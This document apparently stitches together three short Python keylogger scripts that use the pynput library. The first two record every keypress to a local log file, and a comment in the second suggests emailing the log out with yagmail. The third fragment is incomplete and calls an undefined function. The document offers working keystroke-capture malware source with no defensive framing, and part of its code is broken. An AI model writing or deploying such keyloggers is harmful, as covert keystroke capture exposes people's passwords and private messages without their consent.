1import logging
2import os
3from pynput.keyboard import Listener
4
5log_Directory = os.getcwd() + '/' # where save file
6print(os.getcwd()) # directory
7# create file
8logging.basicConfig(filename=(log_Directory + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
9
10# function in logging
11def on_press(key):
12 logging.info(key)
13 # when press key save the key in file
14
15
16with Listener(on_press=on_press) as listener:
17 listener.join() # infinite cicle
1#pip install pynput OR python3 -m pip install pynput
2#ONLY ONE MODULE REQUIRED
3from pynput.keyboard import Listener #add ", Key" here if you want to be able to act when keys like Enter and esc are pressed)
4#you can use the yagmail python module to email yourself the log with a gmail account when a key is pressed (if key.char == ... OR if key=Key.(esc, enter, shift))
5file = open("log.txt", "a") #save to the current directory. To save to another location use r'C:\Users\k\t\m\etc\log.txt'
6#NOTE - it does not matter if "log.txt" exists or not. Python will automatically create that file.
7def on_press(key):
8 try:
9 file.write(f'\n{key}')
10 file.flush() #save changes
11 except:
12 pass #ignore all errors
13listener = Listener(on_press=on_press) #you can also use "with listener as Listener(on_press...):"
14listener.start()
15listener.join()
1#Import required modules
2from pynput.keyboard import Key
3#Create an empty list to store pressed keys
4keys = []
5#Create a function that defines what to do on each key press
6def on_each_key_press(key):
7 #Append each pressed key to a list
8 keys.append(key)
9 #Write list to file after each key pressed
10 write_keys_to_file(keys)
11